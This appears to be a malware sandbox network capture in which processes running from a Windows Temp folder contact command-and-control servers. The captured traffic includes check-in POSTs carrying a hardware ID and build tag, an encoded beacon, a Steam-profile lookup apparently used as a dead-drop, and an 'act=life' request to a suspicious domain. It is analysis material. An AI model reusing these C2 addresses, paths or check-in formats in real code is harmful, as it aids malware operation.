Oct 24, 2024 08:39:10.286374092 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 08:39:10.412772894 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 63925 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 08:39:20.418011904 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 08:39:30.433653116 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	61081	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:10.528099060 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 08:39:11.433693886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:39:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	61082	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:12.003412962 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 08:39:12.920789003 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:39:12.925996065 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDG Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="hwid"20F5399156EA20379026------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="build"doma------HDBGDHDAECBGDHJKFIDG--
Oct 24, 2024 08:39:13.214308023 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	61083	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:27.562753916 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 08:39:28.458482981 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:39:28.461787939 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGD Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 2d 2d 0d 0a Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="hwid"20F5399156EA20379026------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="build"doma------FCAAEBFHJJDAAKFIECGD--
Oct 24, 2024 08:39:28.740849018 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	61091	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:35.449562073 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:36.044054031 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52036 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:36.092322111 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:36.217102051 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52037 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:36.393698931 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:36.518393040 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52037 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:36.916063070 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:37.040630102 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52037 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:37.368539095 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52037 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:37.385920048 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:37.510562897 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52038 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:37.581610918 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:39:37.706420898 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 52038 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:39:38.019186974 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	61101	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:36.065598011 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	61104	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:36.239010096 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	61109	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:36.537874937 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	61111	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:37.050529957 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	61113	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:37.576776028 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	61114	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:39:37.715780973 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	61009	104.102.49.254	443	2924	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:38:17 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 06:38:18 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 06:38:18 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=9fcaa94ee6454d5a2cbf660f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 06:38:18 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 06:38:18 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 06:38:18 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 06:38:18 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	61011	104.21.53.8	443	2924	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:38:19 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 06:38:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 06:38:19 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 06:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I8BkeUmI4wv2AGvELftXSdrNKPSbHm%2BtVsOhYW3CUjhjFQUnEmL7Q0tWfhlLlCmOQgbluYbzk6aqeN3nhn525pZbelA3UATd2n1LFe%2BZ8z9qWw8y%2B%2BZGFOEmIeP%2BGXd66Pt7Vw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d77f69c2fdf6b8f-DFW
2024-10-24 06:38:19 UTC	805	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
